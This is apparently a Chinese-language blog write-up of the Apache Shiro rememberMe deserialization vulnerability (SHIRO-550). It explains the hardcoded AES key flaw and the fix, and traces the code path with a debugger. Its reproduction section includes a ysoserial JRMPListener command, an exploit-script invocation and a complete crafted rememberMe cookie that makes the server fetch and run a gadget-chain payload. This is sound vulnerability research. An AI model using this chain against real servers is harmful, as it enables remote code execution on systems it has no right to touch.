b1cat`s

shiro记住密码反序列化

Word count: 492Reading time: 1 min
2020/04/24

shiro记住密码反序列化

影响版本

shiro-core <=1.2.4

任何泄露rememberMe的AES加密密钥的版本,均存在

原理

https://issues.apache.org/jira/browse/SHIRO-550

shiro对RememberMe类型传递的cookie序列化数据未做过滤,导致了反序列化漏洞的产生。在此过程中,由于shiro-core <=1.2.4 AES的加解密秘钥存在硬编码问题,导致直接生成Cookie被利用。

修复

针对这个问题shiro解决了自带的硬编码的问题,当然如果用户还是用硬编码的方式,一旦key泄漏,一样是会造成反序列化的问题。

官方针对这个问题的修复方式:

1、删除相关默认密钥

2、如果没有配置密钥,会随机生成一个密钥。

嗯,shiro只是把秘钥做了更改修复,可以找找其他的反序列化漏洞利用链。

复现

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'open -a Calculator'

python apace_shair_exp.py 127.0.0.1:6666

1
rememberMe=Qtgl1hCEQaeb0oAFldigjIaZRY4iH6ymA7FOr5IriiSxduu3pY/HeYVUOHYIIn2yP3xXmbStQ3BDl+qbzMRN2gpvNrDE3OJYPOCZFgXQuGDCWUZYbxFVUksYa9zWi6allXelkpEEjgFzJtCcRKSp+boR99Uzqpb+qpF6X98w74YsnqMuUX0om9/mOp5cNuAoKwLAD44luMpgG3QI+iWJrStDSiz4PznZKy1OFTpOiWrf4YCip/y7FKnT84DGmEVxFyiUyxEQ08ZoKksVM/Qf+Rr7DQYZU5MxoMt3QKzIhTTgSVMRzcKWNqWqiWOQj9B1tLXRgMj9svITbYuPJJNHPZ65zjlGsp254TdiVjuW8BQrfzyoo8KIIU6KLsLZFt/wvYAC+qBCYhlNdr4/MXHVkQ==

image-20200425141618413

分析

分别对shiro登录成功后的subject设置RememberMe cookie及从cookie获取当前subject的过程进行分析

  • shiro-login
image-20200426175444978

断点:org.apache.shiro.mgt.AbstractRememberMeManager

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info)

image-20200426004131687

image-20200426004017655

image-20200426003039443

image-20200426004226867

image-20200426004331766

image-20200426003434303

对该用户名做序列化转为字符数组,然后进行加密

image-20200426003528741

使用AES对其进行加密

image-20200426002638351

通过this.getEncryptionCipherKey()获取加密key,该key在AbstractRememberMeManager类实例化时自动设置

image-20200426004830336

image-20200426004733263

image-20200426005355493

  • shiro-poc
image-20200426180825021

断点:org.apache.shiro.mgt.AbstractRememberMeManager

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext)

image-20200426164307524

byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);

image-20200426162534583

principals = this.convertBytesToPrincipals(bytes, subjectContext); 将bytes转为对象

image-20200426165537929

进入decrypt对其进行解密,返回序列化数据,解密秘钥和加密秘钥一样也就是默认秘钥

image-20200426165700744

image-20200426171327868

image-20200426171433695

获取远程服务器上的payload执行,这里读取我本地服务器监听的payload

image-20200426171621574

image-20200426172519193

问题

在第二次重复使用cookie进行发包,返回报错,留待下回继续分析。

image-20200426184241148
CATALOG
  1. 1. shiro记住密码反序列化
    1. 1.0.1. 影响版本
    2. 1.0.2. 原理
    3. 1.0.3. 修复
    4. 1.0.4. 复现
    5. 1.0.5. 分析
    6. 1.0.6. 问题